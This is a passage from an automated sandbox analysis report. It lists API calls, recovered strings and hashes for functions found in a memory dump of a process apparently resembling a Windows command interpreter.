                                                                                                                                                                                                                                  • GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000,00D1250C,?,?,00000000,-00000105,-00000105,-00000105), ref: 00D3B08B
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?), ref: 00D3B095
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?), ref: 00D3B0AA
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 00D3B1DA
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 00D3B1F2
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,?,?,?,?,?,?,?), ref: 00D3B20A
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$ErrorLast$InformationVolume
                                                                                                                                                                                                                                  • String ID: %04X-%04X
                                                                                                                                                                                                                                  • API String ID: 2748242238-1126166780
                                                                                                                                                                                                                                  • Opcode ID: 11b9bab475b25103536206f3ecfb553c7b712bc21ce724afd339e255afec8c7b
                                                                                                                                                                                                                                  • Instruction ID: aa30fb625f2aaa8e240e55be843de656667f81b08475dcfcf499a5364b67d63d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 11b9bab475b25103536206f3ecfb553c7b712bc21ce724afd339e255afec8c7b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 619194B1A003299BDB24DB64CC95BEAB7B9EF14354F4405EAF609D3240EB749E848F71
                                                                                                                                                                                                                                  Function 00D1BC30 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswspace
                                                                                                                                                                                                                                  • String ID: =,;
                                                                                                                                                                                                                                  • API String ID: 3458554142-1539845467
                                                                                                                                                                                                                                  • Opcode ID: 89a5ff05bef357ad63571c2175044566fd0e280d347167bc5d8d6a02831a417d
                                                                                                                                                                                                                                  • Instruction ID: 0e79afbb29a0aaee3277b475f199b2713654033cd4ea6b60f9114d0bda1d9a45
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 89a5ff05bef357ad63571c2175044566fd0e280d347167bc5d8d6a02831a417d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5B81B170900225ABDB345F64FC457FA72A5EF10315F18446BED8AA6241EF758DC4CB71
                                                                                                                                                                                                                                  Function 00D223F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 176COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D22431
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D22452
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D2247C
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000000,00000000,?,00000000,00000000,?,00D1250C,00000000,00000000,?,-00000105,-00000105,-00000105), ref: 00D22585
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D225A3
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 00D225CA
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 00D225E3
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(00000000,00000000,?,-00000105,-00000105,-00000105,?,?,?,?,?,?,?,?), ref: 00D2F32B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$InformationVolume_wcsicmp
                                                                                                                                                                                                                                  • String ID: FAT
                                                                                                                                                                                                                                  • API String ID: 4247940253-238207945
                                                                                                                                                                                                                                  • Opcode ID: 171cdf21d7159104a105f600a9cf1aeda8a2075b540ff80205aff2df7e927143
                                                                                                                                                                                                                                  • Instruction ID: c6949c8eca0d0c10eb36d6ecb5469a8f7a59e9621cbf2115972b0a8eba0769d3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 171cdf21d7159104a105f600a9cf1aeda8a2075b540ff80205aff2df7e927143
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 895175B2914225ABDB24CB64EC95BFA77B8EB54309F1440E9F505E3181DB34DE84CE35
                                                                                                                                                                                                                                  Function 00D17334 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 159COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D17381
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,-00000209,?,00000000,?), ref: 00D173D6
                                                                                                                                                                                                                                  • wcsncmp.MSVCRT ref: 00D173F9
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000209,?,00000000,?), ref: 00D17465
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00001037,00000000,?,?), ref: 00D2A8C6
                                                                                                                                                                                                                                    • Part of subcall function 00D20060: wcschr.MSVCRT ref: 00D2006C
                                                                                                                                                                                                                                  • wcsstr.MSVCRT ref: 00D2A87E
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00D2A89B
                                                                                                                                                                                                                                  • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00D2A8DE
                                                                                                                                                                                                                                    • Part of subcall function 00D2589A: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,?,00000000,00000000,00000002,00000000,00000000,?,00D259D0,?,00D16054,-00001038,00000000,?,?), ref: 00D258BB
                                                                                                                                                                                                                                    • Part of subcall function 00D2589A: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00D259D0,?,00D16054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 00D258CD
                                                                                                                                                                                                                                    • Part of subcall function 00D18B4D: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00D399FD,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D18B7B
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File$AttributesFindmemset$CloseDriveErrorFirstFullLastNamePathTypewcschrwcsncmpwcsstr
                                                                                                                                                                                                                                  • String ID: \\.\
                                                                                                                                                                                                                                  • API String ID: 799470305-2900601889
                                                                                                                                                                                                                                  • Opcode ID: daa87e427c3dd44b56645e77efedbc422bb4017874af8547a2f4a4657acbfe9e
                                                                                                                                                                                                                                  • Instruction ID: f94693b9d432632bd9f36d97636a6a2105b194f19060ec5437179d541c4b2951
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: daa87e427c3dd44b56645e77efedbc422bb4017874af8547a2f4a4657acbfe9e
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 58511971608321ABD7309B78B8845ABBBE8EF54714F04092AF995C32A1EF70D8858773
                                                                                                                                                                                                                                  Function 00D1CB09 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswspace$_wcsicmp
                                                                                                                                                                                                                                  • String ID: &<|>$+: $=,;
                                                                                                                                                                                                                                  • API String ID: 3089800946-2256444845
                                                                                                                                                                                                                                  • Opcode ID: c56e9390967c296d8a991076fe6652a36d4a7b6062b69db0ea9b40c1ec5f9a02
                                                                                                                                                                                                                                  • Instruction ID: 38c84545457c9377103249e3d78f2b1683f8ee58c3b7e004e8b61e4f576644b4
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c56e9390967c296d8a991076fe6652a36d4a7b6062b69db0ea9b40c1ec5f9a02
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: ED312C31A003345BDB208FA9BC497EE7796EF65309F180165EC09D3211EB3189A4CBB6
                                                                                                                                                                                                                                  Function 00D3BAF8 Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 336COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D3C0F8: free.MSVCRT ref: 00D3C116
                                                                                                                                                                                                                                    • Part of subcall function 00D3C0F8: free.MSVCRT ref: 00D3C123
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001,00000000,?,00000000), ref: 00D3BB97
                                                                                                                                                                                                                                  • qsort.MSVCRT ref: 00D3BC1A
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D3BC6F
                                                                                                                                                                                                                                  • calloc.MSVCRT ref: 00D3BCB1
                                                                                                                                                                                                                                  • calloc.MSVCRT ref: 00D3BD82
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D3BDCB
                                                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?), ref: 00D3BE1D
                                                                                                                                                                                                                                  • memcpy.MSVCRT(00000000,?,?), ref: 00D3BE3E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heapcallocfreememcpywcschr$AllocProcesslongjmpqsort
                                                                                                                                                                                                                                  • String ID: &()[]{}^=;!%'+,`~
                                                                                                                                                                                                                                  • API String ID: 975110957-381716982
                                                                                                                                                                                                                                  • Opcode ID: 5fe7f0a47178f8b0e049251c9882d1d762810dcea931fe625bbf2aa5330ed8e9
                                                                                                                                                                                                                                  • Instruction ID: 8146f2b601f496dfe8c6a0c166080b242331305dc674548622207a0f2e20aec9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5fe7f0a47178f8b0e049251c9882d1d762810dcea931fe625bbf2aa5330ed8e9
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D5C19076A042259BDB248F68D8417EEB7B1EF48720F18406AE949EB341EB709D85CB74
                                                                                                                                                                                                                                  Function 00D1B760 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 286COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _tell.MSVCRT ref: 00D1B7F9
                                                                                                                                                                                                                                  • _close.MSVCRT ref: 00D1B82C
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D1B8CC
                                                                                                                                                                                                                                  • GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 00D1B936
                                                                                                                                                                                                                                  • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D1B947
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D1B96D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleInfoOutput_close_tellmemset
                                                                                                                                                                                                                                  • String ID: GOTO
                                                                                                                                                                                                                                  • API String ID: 1380661413-1693823284
                                                                                                                                                                                                                                  • Opcode ID: 261f4d1e693bf4a1958ba29774b1e5f3e2db55f7d30dee2bb156a0b1208ae033
                                                                                                                                                                                                                                  • Instruction ID: 0fc434339823d2526297472ce082cc057d97055a4808641548d1594ad47f6686
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 261f4d1e693bf4a1958ba29774b1e5f3e2db55f7d30dee2bb156a0b1208ae033
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: AAB1D370619311ABD720DF24E8447AAB7E5EF94714F18092AF885C7290EF70DD85CBB2
                                                                                                                                                                                                                                  Function 00D23065 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 152COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _errnoiswdigit$iswalphawcschrwcstolwcstoul
                                                                                                                                                                                                                                  • String ID: +-~!
                                                                                                                                                                                                                                  • API String ID: 2191331888-2604099254
                                                                                                                                                                                                                                  • Opcode ID: 8d6c34464d121ba9f24cd727344999f284f10fffa918d356f02404ac939f5c15
                                                                                                                                                                                                                                  • Instruction ID: 68abed315ebba4fe3206db346dcf85ec9f6415847ad85aa1220bca5035d9fe7c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8d6c34464d121ba9f24cd727344999f284f10fffa918d356f02404ac939f5c15
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5651C931400329EBCB05DF64F8498EA33A5EF21369B148526FC469B190EBB9CB50CBB1
                                                                                                                                                                                                                                  Function 00D37220 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 138COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D37277
                                                                                                                                                                                                                                  • iswalpha.MSVCRT ref: 00D372AA
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D372BD
                                                                                                                                                                                                                                  • GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000101,?,00000000,00000000,00000000,00000000), ref: 00D372EF
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D37304
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00D37311
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ErrorLasttowupper$InformationVolumeiswalpha
                                                                                                                                                                                                                                  • String ID: $%04X-%04X$\
                                                                                                                                                                                                                                  • API String ID: 4001382275-467840296
                                                                                                                                                                                                                                  • Opcode ID: 7d61afb110b4d78f822be18d60b56e81edf7970e9bda06b7bb6276ed39a2e1a7
                                                                                                                                                                                                                                  • Instruction ID: 33309cae0d66eee230525113715da4e13f7529182fb116a883f64d2362e6dae1
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 7d61afb110b4d78f822be18d60b56e81edf7970e9bda06b7bb6276ed39a2e1a7
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6141EBB6608311BAD7306BA5AC0AEBB77ECEF94B11F04041EFD59D61C0EA70D944D6B2
                                                                                                                                                                                                                                  Function 00D32D1F Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101synchronizationCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,00000000,00000000,?,00000000,00000000,?,00D33877), ref: 00D32D31
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ObjectSingleWait
                                                                                                                                                                                                                                  • String ID: wil
                                                                                                                                                                                                                                  • API String ID: 24740636-1589926490
                                                                                                                                                                                                                                  • Opcode ID: dc683fa9b888b8d507d1b0f9d18efd0286cf846d155cb1f12c7eb8c5954293e8
                                                                                                                                                                                                                                  • Instruction ID: 811a5ef03103b73f81332b0f31480e7dc28b8cf6f70bdd3cddcd56dd15217bc5
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: dc683fa9b888b8d507d1b0f9d18efd0286cf846d155cb1f12c7eb8c5954293e8
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F1319430B04315ABEB209B65EC4ABBB366EEF40351F644135F942E6291DB74CE4196B2
                                                                                                                                                                                                                                  Function 00D3832A Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 90windowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,?,00000000,?,0000000A,?), ref: 00D38360
                                                                                                                                                                                                                                  • _ultoa.MSVCRT ref: 00D38376
                                                                                                                                                                                                                                  • GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(?,000000FF,?,00000020), ref: 00D3838B
                                                                                                                                                                                                                                  • MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000), ref: 00D383A0
                                                                                                                                                                                                                                  • FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00003100,00000000,0000013D,00000000,?,0000000A,?), ref: 00D383D8
                                                                                                                                                                                                                                  • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?), ref: 00D3840C
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
                                                                                                                                                                                                                                  • String ID: (#$Application$System
                                                                                                                                                                                                                                  • API String ID: 3377411628-593978566
                                                                                                                                                                                                                                  • Opcode ID: 9eac3b2272cf6e4bc426c61399f4b05e8d316fb3def6faa5e5ec5ab95d3632db
                                                                                                                                                                                                                                  • Instruction ID: d885b895a3bb6a87fb6f318dfad2dbb865cbb133b5895f17dc9706db527a0f42
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9eac3b2272cf6e4bc426c61399f4b05e8d316fb3def6faa5e5ec5ab95d3632db
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 74316B71A00319ABDB10DFB5EC44DEEBBB9EB49B11F100229F911E7291EB709A01CB71
                                                                                                                                                                                                                                  Function 00D25271 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 63COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D25294
                                                                                                                                                                                                                                  • RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D252A4
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000004,?,?,00000000,?,?,?,00D25134,-00000001), ref: 00D31036
